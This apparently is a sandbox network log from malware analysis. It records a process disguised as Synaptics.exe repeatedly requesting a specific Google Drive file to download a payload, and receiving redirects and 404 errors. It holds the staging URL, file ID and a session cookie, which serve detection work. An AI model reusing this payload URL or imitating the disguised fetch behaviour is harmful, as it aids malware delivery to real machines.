2025-01-02 19:11:20 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:20 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-kGhu9syjE9_HUvYMPJ2L-g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.7	56119	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:20 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:20 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:20 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-scP-LFlCNCHYmtLTt3APrw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.7	56122	142.250.185.193	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:21 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:21 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5QDKeoMXlgvNrg5At7vM3u49YT5_RJ_YQPfX_euJczpanFF5LxJPb6zFzU4o_s9k3J Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:21 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-u_wjRQLX7yl3Txg6FfWpsw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:11:21 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:11:21 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4e 50 44 6a 71 56 42 4f 6b 4b 68 58 43 56 53 46 53 75 49 51 48 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="NPDjqVBOkKhXCVSFSuIQHg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:11:21 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.7	56121	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:21 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:21 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:21 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-ZCNFCp7Kfb_Za98kzZF1cQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.7	56123	142.250.185.193	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:21 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:22 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4ur5Px3Rb991VCwJ-170cUPeOywKKV1VnQAmAZj4w0XIKUuAjnGUnix1wHZ_JxlTtubmoqoJ0 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:21 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-sIw88HmRzrhKhKwaySigzw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:11:22 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:11:22 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4a 52 4b 64 61 70 34 65 50 41 42 2d 6d 53 5a 33 2d 7a 32 6b 78 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="JRKdap4ePAB-mSZ3-z2kxg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:11:22 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.7	56124	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:21 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:22 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:21 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-YwJRa7eawMauEv054zYZ5Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.7	56125	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:22 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:23 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:22 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-OM0oLwFVAFl37kV5w4HGMQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.7	56126	142.250.185.193	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:22 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:22 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7dcC2M52VjhRotyVWi9B_D1jv_aUbDq5D8LSbDzKQUAzmcyNHt0wfBiFkONUxsPZWL Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:22 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-x9nsJD24LtaAUsn1kj-ODw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:11:22 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:11:22 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 52 54 53 35 4f 6d 33 39 33 79 48 71 47 43 4a 44 43 2d 70 59 6f 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="RTS5Om393yHqGCJDC-pYow">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:11:22 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.7	56129	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:22 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:23 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:22 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-Eeov3OhZ1WN78yUGZz41WQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.7	56130	142.250.185.193	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:22 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
